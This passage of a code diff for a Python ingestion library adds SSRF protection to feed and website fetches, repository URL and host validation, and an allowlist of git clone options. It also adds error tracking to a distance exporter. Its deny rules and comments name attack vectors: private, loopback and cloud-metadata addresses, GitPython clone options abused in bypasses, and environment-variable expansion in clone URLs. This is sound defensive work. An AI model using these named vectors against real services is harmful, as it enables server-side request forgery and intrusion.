|
||||
returned by ``get_nodes``/``get_edges`` after the fact.
|
||||
"""
|
||||
with self._lock:
|
||||
return len(self.graph.nodes), len(self.graph.edges)
|
||||
|
||||
def paginate_edges(
|
||||
self,
|
||||
edge_type: Optional[str] = None,
|
||||
|
||||
@@ -11,17 +11,20 @@ Python API:
|
||||
df = exporter.to_dataframe(include=["hops", "semantic_similarity", "distance_band"])
|
||||
exporter.to_csv("distances.csv")
|
||||
exporter.to_jsonl("distances.jsonl")
|
||||
|
||||
# Include error status columns for auditable exports:
|
||||
df = exporter.to_dataframe(include=["hop_count", "metric_errors"])
|
||||
"""
|
||||
|
||||
import csv
|
||||
import io
|
||||
import json
|
||||
from typing import Any, Dict, List, Optional
|
||||
from typing import Any, Dict, List, Optional, Tuple
|
||||
|
||||
from ..utils.helpers import classify_path_distance
|
||||
from ..utils.logging import get_logger
|
||||
|
||||
logger = get_logger(__name__)
|
||||
logger = get_logger("export.distance_exporter")
|
||||
|
||||
_KG_AVAILABLE = False
|
||||
try:
|
||||
@@ -36,6 +39,9 @@ _ALL_COLUMNS = [
|
||||
"distance_band", "source_betweenness", "target_betweenness",
|
||||
]
|
||||
|
||||
# Error status columns — opt-in via include=["metric_errors"]
|
||||
# (used by compute_pairs when "metric_errors" is in include set)
|
||||
|
||||
|
||||
class DistanceExporter:
|
||||
"""Compute and export pairwise distance metrics for a ContextGraph."""
|
||||
@@ -65,59 +71,77 @@ class DistanceExporter:
|
||||
node = getattr(self.graph, "nodes", {}).get(node_id)
|
||||
return getattr(node, "node_type", "") if node else ""
|
||||
|
||||
def _betweenness(self, graph_dict: Dict[str, Any]) -> Dict[str, float]:
|
||||
def _betweenness(self, graph_dict: Dict[str, Any]) -> Tuple[Dict[str, float], Optional[str]]:
|
||||
"""Return (betweenness_dict, error). error is None on success."""
|
||||
if self._centrality is None:
|
||||
return {}
|
||||
return {}, None
|
||||
try:
|
||||
result = self._centrality.calculate_betweenness_centrality(graph_dict)
|
||||
return result.get("betweenness", {}) if isinstance(result, dict) else {}
|
||||
return (result.get("betweenness", {}) if isinstance(result, dict) else {}), None
|
||||
except Exception:
|
||||
return {}
|
||||
logger.warning("Betweenness centrality computation failed; omitting from export", exc_info=True)
|
||||
return {}, "betweenness"
|
||||
|
||||
def _hop_distance(self, graph_dict: Dict[str, Any], src: str, tgt: str) -> Optional[int]:
|
||||
def _hop_distance(self, graph_dict: Dict[str, Any], src: str, tgt: str) -> Tuple[Optional[int], Optional[str]]:
|
||||
"""Return (hop_count, error). error is None on success or a short description on failure."""
|
||||
if self._path_finder is None:
|
||||
return None
|
||||
return None, None # KG unavailable — not an error, just no data
|
||||
try:
|
||||
result = self._path_finder.bfs_shortest_path(graph_dict, src, tgt)
|
||||
path = result.get("path", []) if isinstance(result, dict) else (result or [])
|
||||
return len(path) - 1 if path else None
|
||||
return (len(path) - 1 if path else None), None
|
||||
except Exception:
|
||||
return None
|
||||
logger.warning("Hop distance computation failed for %s -> %s; returning None sentinel", src, tgt, exc_info=True)
|
||||
return None, "hop_count"
|
||||
|
||||
def _weighted_distance(self, graph_dict: Dict[str, Any], src: str, tgt: str) -> Optional[float]:
|
||||
def _weighted_distance(self, graph_dict: Dict[str, Any], src: str, tgt: str) -> Tuple[Optional[float], Optional[str]]:
|
||||
"""Return (weighted_distance, error). error is None on success."""
|
||||
if self._path_finder is None:
|
||||
return None
|
||||
return None, None
|
||||
try:
|
||||
result = self._path_finder.dijkstra_shortest_path(graph_dict, src, tgt)
|
||||
if isinstance(result, dict):
|
||||
return float(result.get("total_weight", len(result.get("path", [])) - 1))
|
||||
return None
|
||||
return float(result.get("total_weight", len(result.get("path", [])) - 1)), None
|
||||
return None, None
|
||||
except Exception:
|
||||
return None
|
||||
logger.warning("Weighted distance computation failed for %s -> %s; returning None sentinel", src, tgt, exc_info=True)
|
||||
return None, "weighted_distance"
|
||||
|
||||
def _semantic_similarity(self, graph_dict: Dict[str, Any], src: str, tgt: str) -> Optional[float]:
|
||||
def _semantic_similarity(self, graph_dict: Dict[str, Any], src: str, tgt: str) -> Tuple[Optional[float], Optional[str]]:
|
||||
"""Return (similarity, error). error is None on success."""
|
||||
if self._similarity is None:
|
||||
return None
|
||||
return None, None
|
||||
try:
|
||||
sim = self._similarity.cosine_similarity(graph_dict, src, tgt)
|
||||
return float(sim) if isinstance(sim, (int, float)) else None
|
||||
return (float(sim) if isinstance(sim, (int, float)) else None), None
|
||||
except Exception:
|
||||
return None
|
||||
logger.warning("Semantic similarity computation failed for %s -> %s; returning None sentinel", src, tgt, exc_info=True)
|
||||
return None, "semantic_similarity"
|
||||
|
||||
def compute_pairs(
|
||||
self,
|
||||
include: Optional[List[str]] = None,
|
||||
node_subset: Optional[List[str]] = None,
|
||||
) -> List[Dict[str, Any]]:
|
||||
"""Compute all pairwise distance metrics and return as a list of dicts."""
|
||||
"""Compute all pairwise distance metrics and return as a list of dicts.
|
||||
|
||||
When ``include`` contains ``"metric_errors"``, each row gains a
|
||||
``metric_errors`` field: an empty string when all metrics succeeded, or
|
||||
a comma-separated list of metric names that raised during computation
|
||||
(e.g. ``"hop_count,weighted_distance"``). This lets downstream consumers
|
||||
distinguish legitimate ``None`` (no path) from computation failure.
|
||||
"""
|
||||
include_set = set(include or _ALL_COLUMNS)
|
||||
track_errors = "metric_errors" in include_set
|
||||
include_set.discard("metric_errors") # not a real metric to compute
|
||||
graph_dict = self._build_graph_dict()
|
||||
|
||||
node_ids = node_subset or list(self.graph.nodes.keys())
|
||||
|
||||
betweenness: Dict[str, float] = {}
|
||||
betweenness_err: Optional[str] = None
|
||||
if "source_betweenness" in include_set or "target_betweenness" in include_set:
|
||||
betweenness = self._betweenness(graph_dict)
|
||||
betweenness, betweenness_err = self._betweenness(graph_dict)
|
||||
|
||||
rows = []
|
||||
for i, src in enumerate(node_ids):
|
||||
@@ -125,6 +149,10 @@ class DistanceExporter:
|
||||
if src == tgt:
|
||||
continue
|
||||
row: Dict[str, Any] = {}
|
||||
errors: List[str] = []
|
||||
if betweenness_err:
|
||||
errors.append(betweenness_err)
|
||||
|
||||
if "source_id" in include_set:
|
||||
row["source_id"] = src
|
||||
if "source_type" in include_set:
|
||||
@@ -136,15 +164,23 @@ class DistanceExporter:
|
||||
|
||||
hop_count: Optional[int] = None
|
||||
if "hop_count" in include_set or "distance_band" in include_set:
|
||||
hop_count = self._hop_distance(graph_dict, src, tgt)
|
||||
hop_count, hop_err = self._hop_distance(graph_dict, src, tgt)
|
||||
if hop_err:
|
||||
errors.append(hop_err)
|
||||
if "hop_count" in include_set:
|
||||
row["hop_count"] = hop_count
|
||||
|
||||
if "weighted_distance" in include_set:
|
||||
row["weighted_distance"] = self._weighted_distance(graph_dict, src, tgt)
|
||||
wd_val, wd_err = self._weighted_distance(graph_dict, src, tgt)
|
||||
row["weighted_distance"] = wd_val
|
||||
if wd_err:
|
||||
errors.append(wd_err)
|
||||
|
||||
if "semantic_similarity" in include_set:
|
||||
row["semantic_similarity"] = self._semantic_similarity(graph_dict, src, tgt)
|
||||
ss_val, ss_err = self._semantic_similarity(graph_dict, src, tgt)
|
||||
row["semantic_similarity"] = ss_val
|
||||
if ss_err:
|
||||
errors.append(ss_err)
|
||||
|
||||
if "distance_band" in include_set:
|
||||
row["distance_band"] = classify_path_distance(hop_count) if hop_count is not None else "distant"
|
||||
@@ -154,6 +190,9 @@ class DistanceExporter:
|
||||
if "target_betweenness" in include_set:
|
||||
row["target_betweenness"] = betweenness.get(tgt)
|
||||
|
||||
if track_errors:
|
||||
row["metric_errors"] = ",".join(errors) if errors else ""
|
||||
|
||||
rows.append(row)
|
||||
return rows
|
||||
|
||||
|
||||
@@ -42,6 +42,7 @@ from bs4 import BeautifulSoup
|
||||
from ..utils.exceptions import ProcessingError, ValidationError
|
||||
from ..utils.logging import get_logger
|
||||
from ..utils.progress_tracker import get_progress_tracker
|
||||
from .ssrf import parse_bool, request_with_ssrf_guard
|
||||
|
||||
|
||||
@dataclass
|
||||
@@ -425,6 +426,9 @@ class FeedMonitor:
|
||||
self.thread: Optional[threading.Thread] = None
|
||||
self.update_callback: Optional[callable] = None
|
||||
self.check_interval = config.get("check_interval", 3600) # Default 1 hour
|
||||
self.allow_private_ips = parse_bool(
|
||||
config.get("allow_private_ips"), default=False
|
||||
)
|
||||
|
||||
def add_feed(self, feed_url: str, **options):
|
||||
"""
|
||||
@@ -485,7 +489,12 @@ class FeedMonitor:
|
||||
|
||||
try:
|
||||
# Fetch feed
|
||||
response = requests.get(feed_url, timeout=30)
|
||||
response = request_with_ssrf_guard(
|
||||
"GET",
|
||||
feed_url,
|
||||
allow_private_ips=self.allow_private_ips,
|
||||
timeout=30,
|
||||
)
|
||||
response.raise_for_status()
|
||||
|
||||
# Parse feed
|
||||
@@ -575,6 +584,9 @@ class FeedIngestor:
|
||||
self.logger = get_logger("feed_ingestor")
|
||||
self.config = config or {}
|
||||
self.config.update(kwargs)
|
||||
self.allow_private_ips = parse_bool(
|
||||
self.config.get("allow_private_ips"), default=False
|
||||
)
|
||||
|
||||
# Initialize feed parser
|
||||
self.parser = FeedParser(**self.config)
|
||||
@@ -638,7 +650,12 @@ class FeedIngestor:
|
||||
request_timeout = timeout or options.get(
|
||||
"timeout", self.config.get("timeout", 30)
|
||||
)
|
||||
response = requests.get(feed_url, timeout=request_timeout)
|
||||
response = request_with_ssrf_guard(
|
||||
"GET",
|
||||
feed_url,
|
||||
allow_private_ips=self.allow_private_ips,
|
||||
timeout=request_timeout,
|
||||
)
|
||||
response.raise_for_status()
|
||||
self.logger.debug(
|
||||
f"Fetched feed from {feed_url}: {len(response.text)} bytes"
|
||||
@@ -693,7 +710,12 @@ class FeedIngestor:
|
||||
|
||||
try:
|
||||
# Fetch website content
|
||||
response = requests.get(website_url, timeout=30)
|
||||
response = request_with_ssrf_guard(
|
||||
"GET",
|
||||
website_url,
|
||||
allow_private_ips=self.allow_private_ips,
|
||||
timeout=30,
|
||||
)
|
||||
response.raise_for_status()
|
||||
|
||||
# Parse HTML
|
||||
@@ -723,7 +745,12 @@ class FeedIngestor:
|
||||
for path in common_paths:
|
||||
try:
|
||||
feed_url = urljoin(website_url, path)
|
||||
test_response = requests.head(feed_url, timeout=10)
|
||||
test_response = request_with_ssrf_guard(
|
||||
"HEAD",
|
||||
feed_url,
|
||||
allow_private_ips=self.allow_private_ips,
|
||||
timeout=10,
|
||||
)
|
||||
if test_response.status_code == 200:
|
||||
content_type = test_response.headers.get("Content-Type", "")
|
||||
if (
|
||||
@@ -741,7 +768,12 @@ class FeedIngestor:
|
||||
for feed_url in feed_urls:
|
||||
try:
|
||||
# Quick validation by fetching feed
|
||||
test_response = requests.get(feed_url, timeout=10)
|
||||
test_response = request_with_ssrf_guard(
|
||||
"GET",
|
||||
feed_url,
|
||||
allow_private_ips=self.allow_private_ips,
|
||||
timeout=10,
|
||||
)
|
||||
if test_response.status_code == 200:
|
||||
validated_feeds.append(feed_url)
|
||||
except Exception:
|
||||
|
||||
@@ -174,6 +174,7 @@ Example Usage:
|
||||
|
||||
from __future__ import annotations
|
||||
|
||||
import re
|
||||
from pathlib import Path
|
||||
from typing import TYPE_CHECKING, Any, Callable, Dict, List, Optional, Union
|
||||
|
||||
@@ -183,6 +184,14 @@ from .config import ingest_config
|
||||
from .file_ingestor import FileIngestor, FileObject
|
||||
from .registry import method_registry
|
||||
|
||||
# SCP-like SSH remotes (user@host:path) — keep in sync with repo_ingestor
|
||||
_SCP_LIKE_REPO_URL_RE = re.compile(r"^[^@\s]+@[^:\s]+:.+$")
|
||||
|
||||
|
||||
def _is_scp_like_repo_source(source: str) -> bool:
|
||||
"""Return True for scp-like SSH remotes (``user@host:path``)."""
|
||||
return bool(_SCP_LIKE_REPO_URL_RE.match(source.strip()))
|
||||
|
||||
if TYPE_CHECKING:
|
||||
from .api_ingestor import APIData
|
||||
from .arrow_ingestor import ArrowData
|
||||
@@ -880,7 +889,10 @@ def ingest_repository(
|
||||
|
||||
if method == "clone" or (
|
||||
isinstance(source, str)
|
||||
and source.startswith(("http://", "https://", "git@"))
|
||||
and (
|
||||
source.startswith(("http://", "https://"))
|
||||
or _is_scp_like_repo_source(source)
|
||||
)
|
||||
):
|
||||
return ingestor.ingest_repository(source, **kwargs)
|
||||
elif method == "analyze":
|
||||
@@ -1336,7 +1348,7 @@ def ingest(
|
||||
("postgresql://", "mysql://", "sqlite://", "oracle://", "mssql://")
|
||||
):
|
||||
source_type = "db"
|
||||
elif source_str.startswith("git@") or source_str_lower.startswith(
|
||||
elif _is_scp_like_repo_source(source_str) or source_str_lower.startswith(
|
||||
("https://github.com", "https://gitlab.com")
|
||||
):
|
||||
source_type = "repo"
|
||||
|
||||
@@ -29,14 +29,20 @@ Author: Semantica Contributors
|
||||
License: MIT
|
||||
"""
|
||||
|
||||
import ipaddress
|
||||
import os
|
||||
import re
|
||||
import shutil
|
||||
import socket
|
||||
import tempfile
|
||||
import threading
|
||||
import time
|
||||
from collections import OrderedDict
|
||||
from dataclasses import dataclass, field
|
||||
from datetime import datetime
|
||||
from pathlib import Path
|
||||
from typing import Any, Dict, List, Optional
|
||||
from typing import Any, Dict, List, Optional, Set, Tuple, Union
|
||||
from urllib.parse import urlparse
|
||||
|
||||
import git
|
||||
|
||||
@@ -44,6 +50,33 @@ from ..utils.exceptions import ProcessingError, ValidationError
|
||||
from ..utils.logging import get_logger
|
||||
from ..utils.progress_tracker import get_progress_tracker
|
||||
|
||||
# Safe subset of GitPython clone_from kwargs. Broader kwargs (multi_options,
|
||||
# upload_pack, template, config, env, …) have been used in denylist-bypass
|
||||
# attacks against older GitPython releases — keep them out of the call surface.
|
||||
ALLOWED_CLONE_OPTIONS: Set[str] = {"depth", "branch", "single_branch", "no_tags"}
|
||||
ALLOWED_REPO_URL_SCHEMES = frozenset({"https", "http", "git", "ssh"})
|
||||
# SCP-like SSH remotes: user@host:path/to/repo.git (no scheme)
|
||||
_SCP_LIKE_REPO_URL_RE = re.compile(r"^[^@\s]+@[^:\s]+:.+$")
|
||||
_ENV_VAR_TOKEN_RE = re.compile(
|
||||
r"\$(\{[A-Za-z_][A-Za-z0-9_]*\}|[A-Za-z_][A-Za-z0-9_]*)"
|
||||
)
|
||||
# Short-lived DNS cache for host validation. This reduces repeated lookups but
|
||||
# does not eliminate DNS-rebinding / TOCTOU races between validate and clone —
|
||||
# network egress controls remain recommended.
|
||||
_REPO_HOST_RESOLVE_CACHE: "OrderedDict[str, Tuple[float, Tuple[str, ...]]]" = (
|
||||
OrderedDict()
|
||||
)
|
||||
_REPO_HOST_RESOLVE_CACHE_TTL_SECONDS = 60.0
|
||||
_REPO_HOST_RESOLVE_CACHE_MAX_ENTRIES = 1024
|
||||
# Guards all reads/writes/prunes of _REPO_HOST_RESOLVE_CACHE. The cache is a
|
||||
# module-level OrderedDict shared by every RepoIngestor instance and every
|
||||
# thread; without a lock, concurrent ingest_repository() calls can mutate the
|
||||
# dict while another thread is iterating it (e.g. during pruning), raising
|
||||
# "RuntimeError: OrderedDict mutated during iteration". The blocking
|
||||
# socket.getaddrinfo() call is intentionally kept outside this lock so a slow
|
||||
# DNS lookup for one host cannot stall cache access for other hosts.
|
||||
_REPO_HOST_RESOLVE_CACHE_LOCK = threading.Lock()
|
||||
|
||||
|
||||
@dataclass
|
||||
class CodeFile:
|
||||
@@ -509,6 +542,287 @@ class RepoIngestor:
|
||||
|
||||
self.logger.debug("Repo ingestor initialized")
|
||||
|
||||
@staticmethod
|
||||
def _is_scp_like_repo_url(repo_url: str) -> bool:
|
||||
"""Return True for scp-like SSH remotes (``user@host:path``)."""
|
||||
url = repo_url.strip()
|
||||
# Avoid treating scheme URLs with userinfo as scp-like (e.g. https://u@h/...)
|
||||
if "://" in url:
|
||||
return False
|
||||
return bool(_SCP_LIKE_REPO_URL_RE.match(url))
|
||||
|
||||
@staticmethod
|
||||
def _scp_like_host(repo_url: str) -> str:
|
||||
"""Extract the hostname from an scp-like remote (``user@host:path``)."""
|
||||
_, rest = repo_url.strip().split("@", 1)
|
||||
host, _ = rest.split(":", 1)
|
||||
return host
|
||||
|
||||
@staticmethod
|
||||
def _normalize_repo_url(repo_url: str) -> str:
|
||||
"""Normalize scp-like remotes to ``ssh://`` URLs; leave others unchanged.
|
||||
|
||||
``git@host:org/repo.git`` → ``ssh://git@host/org/repo.git``
|
||||
"""
|
||||
url = repo_url.strip()
|
||||
if not RepoIngestor._is_scp_like_repo_url(url):
|
||||
return url
|
||||
user_host, path = url.split(":", 1)
|
||||
if not path.startswith("/"):
|
||||
path = f"/{path}"
|
||||
return f"ssh://{user_host}{path}"
|
||||
|
||||
@staticmethod
|
||||
def _is_blocked_ip(
|
||||
ip: Union[ipaddress.IPv4Address, ipaddress.IPv6Address],
|
||||
) -> bool:
|
||||
"""Return True if *ip* is an SSRF-sensitive address.
|
||||
|
||||
Blocks private (RFC1918/ULA), loopback, link-local (including
|
||||
169.254.x.x / fe80::/10 cloud-metadata ranges), and unspecified
|
||||
addresses.
|
||||
|
||||
Intentionally does **not** use ``ip.is_reserved``: Python's
|
||||
``ipaddress`` module marks the NAT64 Well-Known Prefix
|
||||
(64:ff9b::/96, RFC 6052) as reserved, which causes false positives
|
||||
on IPv6-only and dual-stack networks that use NAT64 for public
|
||||
Internet access (e.g., github.com resolves to 64:ff9b::… on such
|
||||
networks). Those addresses are not SSRF-sensitive.
|
||||
"""
|
||||
return bool(
|
||||
ip.is_private
|
||||
or ip.is_loopback
|
||||
or ip.is_link_local
|
||||
or ip.is_unspecified
|
||||
)
|
||||
|
||||
@staticmethod
|
||||
def _resolve_repo_host_ips(host: str) -> Tuple[str, ...]:
|
||||
"""Resolve *host* to IP strings via ``socket.getaddrinfo``, with TTL cache.
|
||||
|
||||
Note: caching and pre-clone resolution mitigate repeated lookups but
|
||||
cannot fully prevent DNS rebinding between validation and clone.
|
||||
Prefer network-layer egress controls for defense in depth.
|
||||
"""
|
||||
cache_key = host.lower().rstrip(".")
|
||||
now = time.monotonic()
|
||||
with _REPO_HOST_RESOLVE_CACHE_LOCK:
|
||||
RepoIngestor._prune_repo_host_resolve_cache_locked(now)
|
||||
cached = _REPO_HOST_RESOLVE_CACHE.get(cache_key)
|
||||
if cached is not None:
|
||||
expires_at, ips = cached
|
||||
if now < expires_at:
|
||||
_REPO_HOST_RESOLVE_CACHE.move_to_end(cache_key)
|
||||
return ips
|
||||
_REPO_HOST_RESOLVE_CACHE.pop(cache_key, None)
|
||||
|
||||
# DNS resolution is blocking I/O; keep it outside the lock so a slow
|
||||
# or hanging lookup for one host cannot stall cache access for
|
||||
# concurrent lookups of other hosts.
|
||||
try:
|
||||
addrinfos = socket.getaddrinfo(
|
||||
host, None, type=socket.SOCK_STREAM
|
||||
)
|
||||
except socket.gaierror as exc:
|
||||
raise ValidationError(
|
||||
f"Cannot resolve repository host {host!r}: {exc}"
|
||||
) from exc
|
||||
|
||||
ips: List[str] = []
|
||||
seen: Set[str] = set()
|
||||
for _family, _type, _proto, _canonname, sockaddr in addrinfos:
|
||||
addr = sockaddr[0]
|
||||
if addr not in seen:
|
||||
seen.add(addr)
|
||||
ips.append(addr)
|
||||
|
||||
if not ips:
|
||||
raise ValidationError(
|
||||
f"Cannot resolve repository host {host!r}: no addresses"
|
||||
)
|
||||
|
||||
result = tuple(ips)
|
||||
with _REPO_HOST_RESOLVE_CACHE_LOCK:
|
||||
now = time.monotonic()
|
||||
_REPO_HOST_RESOLVE_CACHE[cache_key] = (
|
||||
now + _REPO_HOST_RESOLVE_CACHE_TTL_SECONDS,
|
||||
result,
|
||||
)
|
||||
_REPO_HOST_RESOLVE_CACHE.move_to_end(cache_key)
|
||||
RepoIngestor._prune_repo_host_resolve_cache_locked(now)
|
||||
return result
|
||||
|
||||
@staticmethod
|
||||
def _prune_repo_host_resolve_cache(now: Optional[float] = None) -> None:
|
||||
"""Remove expired host entries and enforce a hard cache size cap.
|
||||
|
||||
Acquires ``_REPO_HOST_RESOLVE_CACHE_LOCK``. Callers that already hold
|
||||
the lock must use ``_prune_repo_host_resolve_cache_locked`` instead to
|
||||
avoid deadlocking on the (non-reentrant) lock.
|
||||
"""
|
||||
if now is None:
|
||||
now = time.monotonic()
|
||||
with _REPO_HOST_RESOLVE_CACHE_LOCK:
|
||||
RepoIngestor._prune_repo_host_resolve_cache_locked(now)
|
||||
|
||||
@staticmethod
|
||||
def _prune_repo_host_resolve_cache_locked(now: Optional[float] = None) -> None:
|
||||
"""Prune implementation; caller must already hold the cache lock."""
|
||||
if now is None:
|
||||
now = time.monotonic()
|
||||
|
||||
expired_keys = [
|
||||
cache_key
|
||||
for cache_key, (expires_at, _ips) in _REPO_HOST_RESOLVE_CACHE.items()
|
||||
if expires_at <= now
|
||||
]
|
||||
for cache_key in expired_keys:
|
||||
_REPO_HOST_RESOLVE_CACHE.pop(cache_key, None)
|
||||
|
||||
while len(_REPO_HOST_RESOLVE_CACHE) > _REPO_HOST_RESOLVE_CACHE_MAX_ENTRIES:
|
||||
_REPO_HOST_RESOLVE_CACHE.popitem(last=False)
|
||||
|
||||
@staticmethod
|
||||
def _validate_repo_host(host: str) -> None:
|
||||
"""Reject localhost names and hosts resolving to blocked addresses.
|
||||
|
||||
Literal IPs are checked directly. Hostnames are resolved with
|
||||
``socket.getaddrinfo`` and **every** returned address is screened.
|
||||
"""
|
||||
if not host:
|
||||
raise ValidationError("Repository URL must include a host")
|
||||
|
||||
lowered = host.lower().rstrip(".")
|
||||
if lowered == "localhost" or lowered.endswith(".localhost"):
|
||||
raise ValidationError(f"Repository host is not allowed: {host}")
|
||||
|
||||
try:
|
||||
ip = ipaddress.ip_address(host)
|
||||
except ValueError:
|
||||
# Hostname: resolve and validate all returned addresses
|
||||
for addr in RepoIngestor._resolve_repo_host_ips(host):
|
||||
try:
|
||||
resolved = ipaddress.ip_address(addr)
|
||||
except ValueError:
|
||||
continue
|
||||
if RepoIngestor._is_blocked_ip(resolved):
|
||||
raise ValidationError(
|
||||
f"Repository host resolves to a blocked address: "
|
||||
f"{host} -> {addr}"
|
||||
)
|
||||
return
|
||||
|
||||
if RepoIngestor._is_blocked_ip(ip):
|
||||
raise ValidationError(
|
||||
f"Repository host resolves to a blocked address: {host}"
|
||||
)
|
||||
|
||||
@staticmethod
|
||||
def _is_local_repo_path(repo_url: str) -> bool:
|
||||
"""Return True if *repo_url* looks like a local filesystem path.
|
||||
|
||||
Matches absolute paths (``/…``, ``C:\\…``), relative paths
|
||||
(``./…``, ``../…``), and bare names without a scheme or ``@host:``
|
||||
pattern that would be interpreted as a local path by git.
|
||||
"""
|
||||
url = repo_url.strip()
|
||||
if "://" in url:
|
||||
return False
|
||||
if RepoIngestor._is_scp_like_repo_url(url):
|
||||
return False
|
||||
# Absolute POSIX or Windows paths, or relative paths
|
||||
p = Path(url)
|
||||
if p.is_absolute():
|
||||
return True
|
||||
# ./ or ../
|
||||
if url.startswith(("./", "../", ".\\", "..\\")):
|
||||
return True
|
||||
# Existing local directory (best-effort; may not exist yet during tests)
|
||||
if p.exists():
|
||||
return True
|
||||
return False
|
||||
|
||||
@staticmethod
|
||||
def _validate_repo_url(repo_url: str) -> None:
|
||||
"""Validate a repository URL before cloning.
|
||||
|
||||
Accepts http(s)/git/ssh URLs, scp-like SSH remotes
|
||||
(``user@host:path``), and local filesystem paths. Rejects empty
|
||||
values, unsupported schemes, missing hosts, environment variable
|
||||
expansion tokens (``$VAR`` / ``${VAR}``), and hosts that are or
|
||||
resolve to private / loopback / link-local addresses.
|
||||
|
||||
Local filesystem paths bypass network validation because
|
||||
``git clone /path/to/local/repo`` makes no network requests and
|
||||
carries no SSRF risk.
|
||||
|
||||
DNS resolution is TOCTOU-sensitive (rebinding); pair with egress
|
||||
controls in production deployments.
|
||||
"""
|
||||
if not isinstance(repo_url, str) or not repo_url.strip():
|
||||
raise ValidationError("Repository URL must be a non-empty string")
|
||||
|
||||
# Defense-in-depth against GitPython env-var expansion in clone URLs
|
||||
# (GHSA-2f96-g7mh-g2hx / related). Prefer rejecting before clone_from.
|
||||
if _ENV_VAR_TOKEN_RE.search(repo_url):
|
||||
raise ValidationError(
|
||||
"Repository URL must not contain environment variable "
|
||||
"references ($VAR / ${VAR})"
|
||||
)
|
||||
|
||||
url = repo_url.strip()
|
||||
|
||||
# Local filesystem paths: no network, no SSRF risk — skip host checks.
|
||||
if RepoIngestor._is_local_repo_path(url):
|
||||
return
|
||||
|
||||
# scp-like syntax has no URL scheme; validate host then accept.
|
||||
if RepoIngestor._is_scp_like_repo_url(url):
|
||||
RepoIngestor._validate_repo_host(RepoIngestor._scp_like_host(url))
|
||||
return
|
||||
|
||||
try:
|
||||
parsed = urlparse(url)
|
||||
# ``hostname`` can raise ValueError for malformed netloc (e.g. bad IPv6)
|
||||
host = parsed.hostname
|
||||
except ValueError as e:
|
||||
raise ValidationError(f"Invalid repository URL: {e}") from e
|
||||
|
||||
scheme = (parsed.scheme or "").lower()
|
||||
if scheme not in ALLOWED_REPO_URL_SCHEMES:
|
||||
raise ValidationError(
|
||||
f"Unsupported repository URL scheme {scheme!r}. "
|
||||
f"Allowed schemes: {sorted(ALLOWED_REPO_URL_SCHEMES)}"
|
||||
)
|
||||
if not parsed.netloc or not host:
|
||||
raise ValidationError(
|
||||
f"Repository URL must include a host: {repo_url}"
|
||||
)
|
||||
|
||||
RepoIngestor._validate_repo_host(host)
|
||||
|
||||
@staticmethod
|
||||
def _filter_clone_options(options: Dict[str, Any]) -> Dict[str, Any]:
|
||||
"""Return only allowlisted git clone kwargs; reject anything else."""
|
||||
# Semantica processing options — never forwarded to clone_from
|
||||
non_git_options = {
|
||||
"include_history",
|
||||
"file_filters",
|
||||
"commit_filters",
|
||||
"include_extensions",
|
||||
"max_depth",
|
||||
}
|
||||
candidate = {
|
||||
k: v for k, v in options.items() if k not in non_git_options
|
||||
}
|
||||
unsafe = set(candidate) - ALLOWED_CLONE_OPTIONS
|
||||
if unsafe:
|
||||
raise ValidationError(
|
||||
f"Clone option(s) not permitted: {sorted(unsafe)}. "
|
||||
f"Allowed options: {sorted(ALLOWED_CLONE_OPTIONS)}"
|
||||
)
|
||||
return candidate
|
||||
|
||||
def ingest_repository(self, repo_url: str, **options) -> Dict[str, Any]:
|
||||
"""
|
||||
Ingest and process a Git repository.
|
||||
@@ -518,6 +832,8 @@ class RepoIngestor:
|
||||
**options: Processing options:
|
||||
- branch: Specific branch to checkout
|
||||
- depth: Clone depth (for shallow clones)
|
||||
- single_branch: Clone only a single branch
|
||||
- no_tags: Skip cloning tags
|
||||
- include_history: Whether to include commit history
|
||||
- include_extensions: List of file extensions to include (e.g., ["py", "md"])
|
||||
|
||||
@@ -533,27 +849,19 @@ class RepoIngestor:
|
||||
)
|
||||
|
||||
try:
|
||||
# Validate repository URL before any clone attempt
|
||||
self._validate_repo_url(repo_url)
|
||||
clone_url = self._normalize_repo_url(repo_url)
|
||||
|
||||
# Handle option aliases and filters
|
||||
if "max_depth" in options and "depth" not in options:
|
||||
options["depth"] = options["max_depth"]
|
||||
|
||||
# Separate git clone options from processing options
|
||||
# We filter out known non-git options to avoid passing invalid flags to git clone
|
||||
non_git_options = {
|
||||
"include_history",
|
||||
"file_filters",
|
||||
"commit_filters",
|
||||
"include_extensions",
|
||||
"max_depth",
|
||||
}
|
||||
clone_options = {
|
||||
k: v for k, v in options.items() if k not in non_git_options
|
||||
}
|
||||
clone_options = self._filter_clone_options(options)
|
||||
|
||||
# Validate repository URL
|
||||
try:
|
||||
parsed = git.Repo.clone_from(
|
||||
repo_url, self._get_temp_dir(), **clone_options
|
||||
clone_url, self._get_temp_dir(), **clone_options
|
||||
)
|
||||
except Exception as e:
|
||||
self.progress_tracker.update_tracking(
|
||||
@@ -627,6 +935,12 @@ class RepoIngestor:
|
||||
"temp_path": str(repo_path),
|
||||
}
|
||||
|
||||
except ValidationError as e:
|
||||
# Keep validation failures typed for callers; do not wrap as ProcessingError
|
||||
self.progress_tracker.update_tracking(
|
||||
tracking_id, status="failed", message=str(e)
|
||||
)
|
||||
raise
|
||||
except Exception as e:
|
||||
self.progress_tracker.update_tracking(
|
||||
tracking_id, status="failed", message=str(e)
|
||||
|
||||
@@ -33,6 +33,46 @@ _DEFAULT_MAX_REDIRECTS = 10
|
||||
_REDIRECT_STATUS_CODES = frozenset({301, 302, 303, 307, 308})
|
||||
_STRIP_BODY_ON_REDIRECT = frozenset({301, 302, 303})
|
||||
|
||||
# Standard port per scheme (mirrors requests' DEFAULT_PORTS).
|
||||
_DEFAULT_PORTS = {"http": 80, "https": 443}
|
||||
|
||||
|
||||
def _should_strip_auth(old_url: str, new_url: str) -> bool:
|
||||
"""Decide whether credentials must not follow a redirect.
|
||||
|
||||
Mirrors ``requests.utils.should_strip_auth``: credentials are stripped
|
||||
when the hostname changes, when the port changes (outside default
|
||||
ports), or on an https -> http downgrade on the same host. The single
|
||||
exception is an http -> https upgrade on default ports, which requests
|
||||
treats as safe to keep the credential for.
|
||||
"""
|
||||
old_parsed = urlparse(old_url)
|
||||
new_parsed = urlparse(new_url)
|
||||
|
||||
if old_parsed.hostname != new_parsed.hostname:
|
||||
return True
|
||||
|
||||
# Special case: allow http -> https redirect on standard ports.
|
||||
if (
|
||||
old_parsed.scheme == "http"
|
||||
and old_parsed.port in (80, None)
|
||||
and new_parsed.scheme == "https"
|
||||
and new_parsed.port in (443, None)
|
||||
):
|
||||
return False
|
||||
|
||||
changed_port = old_parsed.port != new_parsed.port
|
||||
changed_scheme = old_parsed.scheme != new_parsed.scheme
|
||||
default_port = (_DEFAULT_PORTS.get(old_parsed.scheme), None)
|
||||
if (
|
||||
not changed_scheme
|
||||
and old_parsed.port in default_port
|
